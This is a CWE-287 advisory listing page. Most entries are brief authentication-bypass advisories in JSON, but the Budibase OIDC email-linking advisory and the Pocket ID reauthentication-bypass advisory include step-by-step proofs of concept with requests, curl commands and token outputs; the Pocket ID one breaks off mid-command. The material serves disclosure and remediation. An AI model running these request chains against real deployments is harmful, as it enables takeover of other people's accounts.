CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
6063 vulnerabilities reference this CWE, most recent first.
GHSA-HMWC-33FH-224C
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2024-03-21 03:34** UNSUPPORTED WHEN ASSIGNED ** DCS-5000L v1.05 and DCS-932L v2.17 and older are affecged by Incorrect Acess Control. The use of the basic authentication for the devices command interface allows attack vectors that may compromise the cameras configuration and allow malicious users on the LAN to access the device. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2021-41503"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-24T20:15:00Z",
"severity": "HIGH"
},
"details": "** UNSUPPORTED WHEN ASSIGNED ** DCS-5000L v1.05 and DCS-932L v2.17 and older are affecged by Incorrect Acess Control. The use of the basic authentication for the devices command interface allows attack vectors that may compromise the cameras configuration and allow malicious users on the LAN to access the device. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-hmwc-33fh-224c",
"modified": "2024-03-21T03:34:07Z",
"published": "2022-05-24T19:15:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41503"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10247"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HMWV-WMM7-QRJR
Vulnerability from github – Published: 2022-05-04 00:00 – Updated: 2022-05-11 00:01An MFA bypass vulnerability exists in the PingFederate PingOne MFA Integration Kit when adapter HTML templates are used as part of an authentication flow.
{
"affected": [],
"aliases": [
"CVE-2022-23723"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-02T22:15:00Z",
"severity": "CRITICAL"
},
"details": "An MFA bypass vulnerability exists in the PingFederate PingOne MFA Integration Kit when adapter HTML templates are used as part of an authentication flow.",
"id": "GHSA-hmwv-wmm7-qrjr",
"modified": "2022-05-11T00:01:56Z",
"published": "2022-05-04T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23723"
},
{
"type": "WEB",
"url": "https://docs.pingidentity.com/bundle/pingfederate-pingone-mfa-ik/page/wpt1599064234202.html"
},
{
"type": "WEB",
"url": "https://www.pingidentity.com/en/resources/downloads/pingfederate.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HP28-H2JQ-HVJW
Vulnerability from github – Published: 2022-04-29 01:28 – Updated: 2022-04-29 01:28login_ldap 3.1 and 3.2 allows remote attackers to initiate unauthenticated bind requests if (1) bind_anon_dn is on, which allows a bind with no password provided, (2) bind_anon_cred is on, which allows a bind with no DN, or (3) bind_anon is on, which allows a bind with no DN or password.
{
"affected": [],
"aliases": [
"CVE-2003-1434"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2003-12-31T05:00:00Z",
"severity": "MODERATE"
},
"details": "login_ldap 3.1 and 3.2 allows remote attackers to initiate unauthenticated bind requests if (1) bind_anon_dn is on, which allows a bind with no password provided, (2) bind_anon_cred is on, which allows a bind with no DN, or (3) bind_anon is on, which allows a bind with no DN or password.",
"id": "GHSA-hp28-h2jq-hvjw",
"modified": "2022-04-29T01:28:04Z",
"published": "2022-04-29T01:28:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2003-1434"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/11374"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2003-02/0244.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/6903"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HP5G-5G9F-49WQ
Vulnerability from github – Published: 2026-06-23 09:32 – Updated: 2026-06-23 09:32In ManageEngine ADSelfService Plus, RecoveryManager Plus, M365 Manager Plus, and ADAudit Plus, the SSO tickets generated to authenticate that session could be predicted by an unauthenticated user, leading to account takeover.
{
"affected": [],
"aliases": [
"CVE-2026-11374"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-23T09:16:28Z",
"severity": "CRITICAL"
},
"details": "In ManageEngine ADSelfService Plus, RecoveryManager Plus, M365 Manager Plus, and ADAudit Plus, the SSO tickets generated to authenticate that session could be predicted\n by an unauthenticated user, leading to account takeover.",
"id": "GHSA-hp5g-5g9f-49wq",
"modified": "2026-06-23T09:32:23Z",
"published": "2026-06-23T09:32:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11374"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/self-service-password/advisory/CVE-2026-11374.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HP5W-W29M-VG63
Vulnerability from github – Published: 2023-06-21 09:30 – Updated: 2024-10-09 19:46Improper Authentication vulnerability in Apache Software Foundation Apache Accumulo. This issue affects Apache Accumulo: 2.1.0.
Accumulo 2.1.0 contains a defect in the user authentication process that may succeed when invalid credentials are provided. Users are advised to upgrade to 2.1.1.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.accumulo:accumulo-shell"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.1.0"
]
}
],
"aliases": [
"CVE-2023-34340"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-21T22:06:51Z",
"nvd_published_at": "2023-06-21T08:15:10Z",
"severity": "CRITICAL"
},
"details": "Improper Authentication vulnerability in Apache Software Foundation Apache Accumulo.\nThis issue affects Apache Accumulo: 2.1.0.\n\nAccumulo 2.1.0 contains a defect in the user authentication process that may succeed when invalid credentials are provided. Users are advised to upgrade to 2.1.1.\n\n\n",
"id": "GHSA-hp5w-w29m-vg63",
"modified": "2024-10-09T19:46:34Z",
"published": "2023-06-21T09:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34340"
},
{
"type": "WEB",
"url": "https://github.com/apache/accumulo/issues/3427"
},
{
"type": "WEB",
"url": "https://github.com/apache/accumulo/issues/3433"
},
{
"type": "WEB",
"url": "https://github.com/apache/accumulo/pull/3440"
},
{
"type": "WEB",
"url": "https://github.com/apache/accumulo/commit/0f2389735fd32e0bbc93ecde5d8c814b275b21b5"
},
{
"type": "WEB",
"url": "https://accumulo.apache.org/release/accumulo-2.1.1"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/accumulo"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/syy6jftvy9l6tlhn33o0rzwhh4rd0z4t"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Accumulo Improper Authentication vulnerability"
}
GHSA-HP6J-X8J2-6JMH
Vulnerability from github – Published: 2022-05-17 04:58 – Updated: 2022-05-17 04:58Juniper Junos 12.1X44 before 12.1.X44-D20 and 12.1X45 before 12.1X45-D15, when the no-validate option is enabled, does not properly handle configuration validation errors during the config commit phase of the boot-up sequence, which allows remote attackers to bypass authentication via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2013-6012"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-10-28T22:55:00Z",
"severity": "HIGH"
},
"details": "Juniper Junos 12.1X44 before 12.1.X44-D20 and 12.1X45 before 12.1X45-D15, when the no-validate option is enabled, does not properly handle configuration validation errors during the config commit phase of the boot-up sequence, which allows remote attackers to bypass authentication via unspecified vectors.",
"id": "GHSA-hp6j-x8j2-6jmh",
"modified": "2022-05-17T04:58:36Z",
"published": "2022-05-17T04:58:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6012"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/InfoCenter/index?page=content\u0026id=JSA10593"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/63389"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HP6V-6JW7-GV2F
Vulnerability from github – Published: 2026-07-24 21:17 – Updated: 2026-07-24 21:17Summary
Budibase's OIDC SSO login links an incoming SSO identity to an existing Budibase account by email address alone, without ever checking the email_verified claim of the OIDC ID token. Budibase first tries to match the IdP sub; when that misses (any fresh attacker IdP account) it silently falls back to matching by the email claim and merges into the existing account by email, preserving that account's _id and roles. Because the email_verified flag is never read, an attacker who can make a configured/trusted IdP emit a token carrying email = <victim> with email_verified = false is logged into Budibase as the victim, inheriting the victim's roles (including global admin/builder). Per OIDC Core §5.7 the email claim MUST NOT be used as an identity key unless email_verified is true; Budibase effectively delegates all account-linking trust to every configured IdP's email-verification policy while checking nothing itself. Full account takeover of any existing Budibase user, including the instance owner.
Details
The OIDC verify callback extracts the email and never consults email_verified:
- packages/backend-core/src/middleware/passport/sso/oidc.ts:59 — email: getEmail(profile, jwtClaims).
- getEmail (oidc.ts:113-135) returns profile._json.email ->jwtClaims.email -> preferred_username. No email_verified check.
- buildJwtClaims (oidc.ts:99-107) assembles claims from _json.email/emails[0].value — no verification flag is read. grep -r email_verified packages/ -> 0 hits.
The email is then used as the account-linking key:
- sso.authenticate(...) -> packages/backend-core/src/middleware/passport/sso/sso.ts:
- :38,44 users.getById(generateGlobalUserID(details.userId)) keyed on the IdP sub; for a fresh attacker IdP account this 404s and is swallowed (:45-54).
- :57-59 fallback: dbUser = await users.getGlobalUserByEmail(details.email) -> loads the victim's account (victim _id + roles) purely by email (packages/backend-core/src/users/users.ts:100-124, USER_BY_EMAIL view, no binding to the IdP sub).
- syncUser(...) (sso.ts:80,102-138) spreads ...user, preserving the victim _id/tenantId/roles; only overwrites provider fields.
- UserDB.save (packages/backend-core/src/users/db.ts:235): because ssoUser._id is the victim's, the _id branch runs (:253), getById(_id) matches the victim (:256), the "Email address cannot be changed" guard (:257-259) does not fire (dbUser.email === email), and the EmailUnavailableError guard (:269-275) is skipped (it only runs in the !dbUser branch). The merge proceeds silently; a session JWT is issued for the victim.
Per OIDC Core §5.7, the email claim MUST NOT be used as an identity key unless email_verified is true. Budibase never reads the flag.
Preconditions (attack requirement — AT:P): the attacker must be able to authenticate through an IdP that the Budibase instance trusts AND get that IdP to assert the victim's email with email_verified = false. This is reachable, not exotic:
- Self-registration with an unverified email — Keycloak and Authentik ship with "Verify Email" OFF by default; if the trusted IdP allows public sign-up, the attacker registers a new account and simply enters email = <victim> at sign-up. No confirmation email is needed — the IdP stores and asserts it unverified.
- Self-service profile editing — many IdPs let a logged-in user change their own email without forced re-verification.
- Attacker-operated / federated IdP or permissive social login — where the attacker controls or influences a trusted provider, or the provider asserts a user-typed (unverified) email.
It is not exploitable through a strict corporate IdP that enforces email verification (there email_verified = true and the attacker cannot claim the victim's address) — which is exactly why Budibase must check the flag rather than assume every configured IdP enforces it. The defect is unconditional on the Budibase side; the attack requirement is purely the (default, common) IdP email policy.
PoC
Reproduced live on Budibase 3.39.14 (self-hosted, community license) against a stock Keycloak 26 realm budi with default "Verify Email" = off; OIDC client registered and activated in Budibase.
Setup: a pre-existing victim global-admin Budibase account victim@stand.local (_id = us_1ab2dfcf…, local account, no IdP link). The attacker owns their own IdP account (attacker, distinct sub) and can set its email attribute unverified.
Step 1 — the IdP asserts the claim (proves email_verified=false):
POST /realms/budi/protocol/openid-connect/token (Keycloak)
grant_type=password&client_id=budibase&client_secret=…&username=attacker&password=Attacker123!&scope=openid email profile
-> id_token payload: { "sub":"3cf58c45-…", "preferred_username":"attacker",
"email":"victim@stand.local", "email_verified":false }
The authenticated principal is provably attacker (its own sub/preferred_username/password), merely claiming the victim's email, unverified.
Step 2 — drive the standard OIDC flow as attacker:
GET /api/global/auth/default/oidc/configs/kc-oidc-1 -> IdP login as attacker/Attacker123! -> GET /api/global/auth/oidc/callback?code=…&state=….
Step 3 — result (takeover): Budibase sets budibase:auth to a session JWT
{ "userId":"us_1ab2dfcf…", "email":"victim@stand.local", "tenantId":"default" }, and
GET /api/global/self returns the victim: _id = us_1ab2dfcf…, admin.global = true, builder.global = true, providerType = oidc. The attacker authenticated as a different IdP principal with an unverified email yet now holds a full global-admin session for the victim.
Negative control (proves the email claim is the cause, not a normal self-login):
A second attacker attacker2 with a benign unverified email attacker2@evil.local (matching no Budibase user) runs the identical flow:
id_token: { "sub":"55794bf2-…", "preferred_username":"attacker2", "email":"attacker2@evil.local", "email_verified":false }
-> budibase:auth: { "userId":"us_55794bf2-…" } (a NEW account, _id derived from the IdP sub)
-> /api/global/self: { "_id":"us_55794bf2-…", "email":"attacker2@evil.local", admin.global: null, builder.global: null }
With a benign email the attacker gets their own new low-privilege account; only when the email claim equals the victim's does the same flow yield the victim's admin account. Same self-authentication, single variable changed = the unverified-email merge is the vulnerability.
Impact
Takeover of any existing Budibase account by email, including the instance owner / global admin -> full control of the tenant (apps, datasources, automations, user management, stored datasource credentials). The attacker authenticates as their own (different) IdP principal and ends up holding the victim's session and roles. The only requirement beyond a trusted IdP login is that the IdP assert the victim's email unverified — the default for a freshly-created Keycloak/Authentik realm and common in social logins (see Preconditions). Any deployment that trusts an OIDC IdP without enforced email verification is exposed; the Budibase-side flaw (ignoring email_verified) is unconditional.
Remediation
Primary fix: in the OIDC verify path, require email_verified === true before using email to look up / link an existing account; otherwise reject the login (or fall back to sub-only matching and never merge into a pre-existing local/SSO account). Concretely, thread the email_verified claim through buildJwtClaims/getEmail (oidc.ts) and gate the getGlobalUserByEmail fallback in sso.ts:57-59 on it.
Audit the whole class: apply the same email_verified (and, for SAML, EmailVerified/assertion-signature) gate to every SSO strategy that links by email — OIDC, SAML, and any social provider — not only the Google strategy (which already passes requireLocalAccount=true). Email-based account linking anywhere must require a verified email.
Defense-in-depth for operators who cannot patch immediately:
- On the IdP, enable "Verify Email" / require verified email before issuing tokens (Keycloak: realm -> Login -> Verify Email = on), and restrict which email domains the IdP will assert.
- Prefer sub-based account mapping over email in the IdP/Budibase mapping config where available.
- Audit existing accounts for unexpected OIDC links to privileged users; rotate sessions.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.38.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:17:39Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nBudibase\u0027s OIDC SSO login links an incoming SSO identity to an existing Budibase account **by email address alone**, without ever checking the `email_verified` claim of the OIDC ID token. Budibase first tries to match the IdP `sub`; when that misses (any fresh attacker IdP account) it silently falls back to matching by the `email` claim and **merges into the existing account by email**, preserving that account\u0027s `_id` and roles. Because the `email_verified` flag is never read, an attacker who can make a **configured/trusted** IdP emit a token carrying `email = \u003cvictim\u003e` with `email_verified = false` is logged into Budibase **as the victim**, inheriting the victim\u0027s roles (including global admin/builder). Per OIDC Core \u00a75.7 the `email` claim MUST NOT be used as an identity key unless `email_verified` is `true`; Budibase effectively delegates all account-linking trust to every configured IdP\u0027s email-verification policy while checking nothing itself. Full account takeover of any existing Budibase user, including the instance owner.\n\n### Details\nThe OIDC verify callback extracts the email and never consults `email_verified`:\n- `packages/backend-core/src/middleware/passport/sso/oidc.ts:59` \u2014 `email: getEmail(profile, jwtClaims)`.\n- `getEmail` (`oidc.ts:113-135`) returns `profile._json.email` -\u003e`jwtClaims.email` -\u003e `preferred_username`. **No `email_verified` check.**\n- `buildJwtClaims` (`oidc.ts:99-107`) assembles claims from `_json.email`/`emails[0].value` \u2014 no verification flag is read. `grep -r email_verified packages/` -\u003e 0 hits.\n\nThe email is then used as the **account-linking key**:\n- `sso.authenticate(...)` -\u003e `packages/backend-core/src/middleware/passport/sso/sso.ts`:\n - `:38,44` `users.getById(generateGlobalUserID(details.userId))` keyed on the IdP `sub`; for a fresh attacker IdP account this 404s and is swallowed (`:45-54`).\n - `:57-59` **fallback:** `dbUser = await users.getGlobalUserByEmail(details.email)` -\u003e loads the **victim\u0027s** account (victim `_id` + roles) purely by email (`packages/backend-core/src/users/users.ts:100-124`, `USER_BY_EMAIL` view, no binding to the IdP `sub`).\n - `syncUser(...)` (`sso.ts:80,102-138`) spreads `...user`, preserving the victim `_id`/`tenantId`/`roles`; only overwrites provider fields.\n- `UserDB.save` (`packages/backend-core/src/users/db.ts:235`): because `ssoUser._id` is the victim\u0027s, the `_id` branch runs (`:253`), `getById(_id)` matches the victim (`:256`), the \"Email address cannot be changed\" guard (`:257-259`) does not fire (`dbUser.email === email`), and the `EmailUnavailableError` guard (`:269-275`) is skipped (it only runs in the `!dbUser` branch). The merge proceeds silently; a session JWT is issued for the victim.\n\nPer OIDC Core \u00a75.7, the `email` claim MUST NOT be used as an identity key unless `email_verified` is `true`. Budibase never reads the flag.\n\n**Preconditions (attack requirement \u2014 `AT:P`):** the attacker must be able to authenticate through an IdP that the Budibase instance **trusts** AND get that IdP to assert the victim\u0027s email with `email_verified = false`. This is reachable, not exotic:\n- **Self-registration with an unverified email \u2014 Keycloak and Authentik ship with *\"Verify Email\" OFF by default*; if the trusted IdP allows public sign-up, the attacker registers a new account and simply enters `email = \u003cvictim\u003e` at sign-up. No confirmation email is needed \u2014 the IdP stores and asserts it unverified.**\n- **Self-service profile editing** \u2014 many IdPs let a logged-in user change their own email without forced re-verification.\n- **Attacker-operated / federated IdP or permissive social login** \u2014 where the attacker controls or influences a trusted provider, or the provider asserts a user-typed (unverified) email.\nIt is **not** exploitable through a strict corporate IdP that enforces email verification (there `email_verified = true` and the attacker cannot claim the victim\u0027s address) \u2014 which is exactly why Budibase must check the flag rather than assume every configured IdP enforces it. The defect is unconditional on the Budibase side; the attack requirement is purely the (default, common) IdP email policy.\n\n### PoC\nReproduced live on Budibase `3.39.14` (self-hosted, community license) against a stock **Keycloak 26** realm `budi` with default \"Verify Email\" = off; OIDC client registered and activated in Budibase.\n\n**Setup:** a pre-existing **victim** global-admin Budibase account `victim@stand.local` (`_id = us_1ab2dfcf\u2026`, local account, *no IdP link*). The attacker owns their **own** IdP account (`attacker`, distinct `sub`) and can set its email attribute unverified.\n\n**Step 1 \u2014 the IdP asserts the claim (proves `email_verified=false`):**\n```\nPOST /realms/budi/protocol/openid-connect/token (Keycloak)\ngrant_type=password\u0026client_id=budibase\u0026client_secret=\u2026\u0026username=attacker\u0026password=Attacker123!\u0026scope=openid email profile\n-\u003e id_token payload: { \"sub\":\"3cf58c45-\u2026\", \"preferred_username\":\"attacker\",\n \"email\":\"victim@stand.local\", \"email_verified\":false }\n```\nThe authenticated principal is provably **`attacker`** (its own `sub`/`preferred_username`/password), merely *claiming* the victim\u0027s email, unverified.\n\n\u003cimg width=\"1484\" height=\"685\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdddac3c-b7c0-4c59-aaec-9092706a7ad8\" /\u003e\n\n\n**Step 2 \u2014 drive the standard OIDC flow** as `attacker`:\n`GET /api/global/auth/default/oidc/configs/kc-oidc-1` -\u003e IdP login as `attacker`/`Attacker123!` -\u003e `GET /api/global/auth/oidc/callback?code=\u2026\u0026state=\u2026`.\n\n\u003cimg width=\"1145\" height=\"454\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ac0a73d0-c5fc-4d0f-b9b0-95f6273b99f7\" /\u003e\n\n\u003cimg width=\"1172\" height=\"445\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a4b27a7e-4293-4caf-957f-d27c54ea461a\" /\u003e\n\n\u003cimg width=\"1157\" height=\"648\" alt=\"image\" src=\"https://github.com/user-attachments/assets/06699774-92b0-4163-a171-9a30bc877ecc\" /\u003e\n\n\u003cimg width=\"1201\" height=\"525\" alt=\"image\" src=\"https://github.com/user-attachments/assets/92a92fcf-9d29-42ca-921d-de6fbd78198f\" /\u003e\n\n\n\n**Step 3 \u2014 result (takeover):** Budibase sets `budibase:auth` to a session JWT\n`{ \"userId\":\"us_1ab2dfcf\u2026\", \"email\":\"victim@stand.local\", \"tenantId\":\"default\" }`, and\n`GET /api/global/self` returns the **victim**: `_id = us_1ab2dfcf\u2026`, `admin.global = true`, `builder.global = true`, `providerType = oidc`. The attacker authenticated as a *different* IdP principal with an *unverified* email yet now holds a full global-admin session for the victim.\n\n\u003cimg width=\"1001\" height=\"456\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c8dfc25f-aed7-4cd7-9323-f029e4d1a725\" /\u003e\n\n\n**Negative control (proves the email claim is the cause, not a normal self-login):**\nA second attacker `attacker2` with a **benign** unverified email `attacker2@evil.local` (matching no Budibase user) runs the *identical* flow:\n```\nid_token: { \"sub\":\"55794bf2-\u2026\", \"preferred_username\":\"attacker2\", \"email\":\"attacker2@evil.local\", \"email_verified\":false }\n-\u003e budibase:auth: { \"userId\":\"us_55794bf2-\u2026\" } (a NEW account, _id derived from the IdP sub)\n-\u003e /api/global/self: { \"_id\":\"us_55794bf2-\u2026\", \"email\":\"attacker2@evil.local\", admin.global: null, builder.global: null }\n```\n\u003cimg width=\"1153\" height=\"489\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f6cb849-e6f3-49f1-b576-8aeba026a3be\" /\u003e\n\n\u003cimg width=\"1089\" height=\"466\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a892ec3e-3753-4bc0-9eee-9f0613b2d92e\" /\u003e\n\n\u003cimg width=\"826\" height=\"532\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc30bd9c-1bdb-4bea-934f-a8b3e228940e\" /\u003e\n\n\nWith a benign email the attacker gets **their own new low-privilege account**; only when the email claim equals the victim\u0027s does the same flow yield the **victim\u0027s admin account**. Same self-authentication, single variable changed = the unverified-email merge is the vulnerability.\n\n### Impact\nTakeover of any existing Budibase account by email, including the instance owner / global admin -\u003e full control of the tenant (apps, datasources, automations, user management, stored datasource credentials). The attacker authenticates as their *own* (different) IdP principal and ends up holding the victim\u0027s session and roles. The only requirement beyond a trusted IdP login is that the IdP assert the victim\u0027s email unverified \u2014 the default for a freshly-created Keycloak/Authentik realm and common in social logins (see Preconditions). Any deployment that trusts an OIDC IdP without enforced email verification is exposed; the Budibase-side flaw (ignoring `email_verified`) is unconditional.\n\n### Remediation\n**Primary fix:** in the OIDC verify path, require `email_verified === true` before using `email` to look up / link an existing account; otherwise reject the login (or fall back to `sub`-only matching and never merge into a pre-existing local/SSO account). Concretely, thread the `email_verified` claim through `buildJwtClaims`/`getEmail` (`oidc.ts`) and gate the `getGlobalUserByEmail` fallback in `sso.ts:57-59` on it.\n\n**Audit the whole class:** apply the same `email_verified` (and, for SAML, `EmailVerified`/assertion-signature) gate to every SSO strategy that links by email \u2014 OIDC, SAML, and any social provider \u2014 not only the Google strategy (which already passes `requireLocalAccount=true`). Email-based account linking anywhere must require a verified email.\n\n**Defense-in-depth for operators who cannot patch immediately:**\n- On the IdP, enable \"Verify Email\" / require verified email before issuing tokens (Keycloak: realm -\u003e Login -\u003e Verify Email = on), and restrict which email domains the IdP will assert.\n- Prefer `sub`-based account mapping over email in the IdP/Budibase mapping config where available.\n- Audit existing accounts for unexpected OIDC links to privileged users; rotate sessions.",
"id": "GHSA-hp6v-6jw7-gv2f",
"modified": "2026-07-24T21:17:39Z",
"published": "2026-07-24T21:17:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-hp6v-6jw7-gv2f"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/9ecd0048d9c3ae0ee9bd0e6204c621794dd1a4d3"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.39.30"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": " Budibase: OIDC SSO account takeover: incoming identity linked by email without checking email_verified"
}
GHSA-HP74-GM6M-2QM5
Vulnerability from github – Published: 2026-07-28 14:25 – Updated: 2026-07-28 14:25Reauthentication Bypass via One-Time Access Token Login
Summary
A weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with RequiresReauthentication: true. The POST /api/webauthn/reauthenticate endpoint's access-token fallback checks only JWT freshness (IssuedAt within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. session=deadbeef) is accepted, collapsing the reauth boundary to token recency alone.
The bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains access_token (1-hour TTL), id_token (victim's name, email, profile), and refresh_token (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.
Root Cause
CreateReauthenticationTokenWithAccessToken (webauthn_service.go:362-403) only checks that the access token's IssuedAt claim is less than 60 seconds old:
// webauthn_service.go:378-381
tokenExpiration, ok := token.IssuedAt()
if !ok || time.Since(tokenExpiration) > time.Minute {
return "", &common.ReauthenticationRequiredError{}
}
It does not check HOW the user originally authenticated. The reauthenticateHandler (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:
// webauthn_controller.go:189-199
credentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)
if err == nil {
token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)
} else {
// FALLBACK: Only checks access token age, not auth method
accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)
token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)
}
Additionally, the handler's session cookie check (line 180) only verifies that a cookie named session exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. session=deadbeef) satisfies the check:
// webauthn_controller.go:180-184
sessionID, err := c.Cookie(cookie.SessionIdCookieName)
if err != nil {
_ = c.Error(&common.MissingSessionIdError{})
return
}
// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT
// to CreateReauthenticationTokenWithAccessToken (the fallback path)
In the fallback path, the sessionID variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.
Meanwhile, GenerateAccessToken (jwt_service.go:190-195) always sets IssuedAt(now) regardless of how authentication was performed:
// jwt_service.go:191-195
now := time.Now()
token, err := jwt.NewBuilder().
Subject(user.ID).
Expiration(now.Add(...)).
IssuedAt(now). // Always "now" — regardless of auth method
This function is called by: 1. WebAuthn login (intended passkey path) 2. One-time access token exchange (one_time_access_service.go:200) 3. User signup (user_signup_controller.go:182)
All three produce tokens that bypass the reauthentication freshness check.
Attack Chain
Precondition: An OIDC client has RequiresReauthentication: true. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).
-
Exchange OTA for fresh JWT:
POST /api/one-time-access-token/{token}returns a fresh access token withIssuedAt = now. -
Set any session cookie: The handler checks for cookie existence only. Set
session=deadbeef(or any arbitrary value). No need to call/api/webauthn/login/start. -
Bypass reauthentication:
POST /api/webauthn/reauthenticatewith empty body{}and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction. -
Authorize sensitive client:
POST /api/oidc/authorizewith the reauthentication token and the target client's ID. The authorization code is issued. -
Get OIDC tokens:
POST /api/oidc/tokenexchanges the authorization code for access_token, id_token, and refresh_token.
All steps complete in under 2 seconds (60-second window is trivial for scripts).
Proof of Concept (Verified Live)
Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.
# Seed test database
curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true
# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)
curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV
# Returns 200 with user info, sets access_token cookie with IssuedAt=now
# Bypass reauthentication - empty body triggers access token fallback
# Session cookie can be ANY arbitrary value - handler only checks existence
curl -s -b cookies.txt -b "session=deadbeef" -X POST http://localhost:1411/api/webauthn/reauthenticate \
-H "Content-Type: application/json" -d '{}'
# Returns: {"reauthenticationToken":"al9JkF9kVI0V3UsAqMJIIF73N4ogHial"}
# NO passkey interaction! Fake session cookie accepted!
# Authorize sensitive OIDC client (after enabling RequiresReauthentication)
curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \
-H "Content-Type: application/json" \
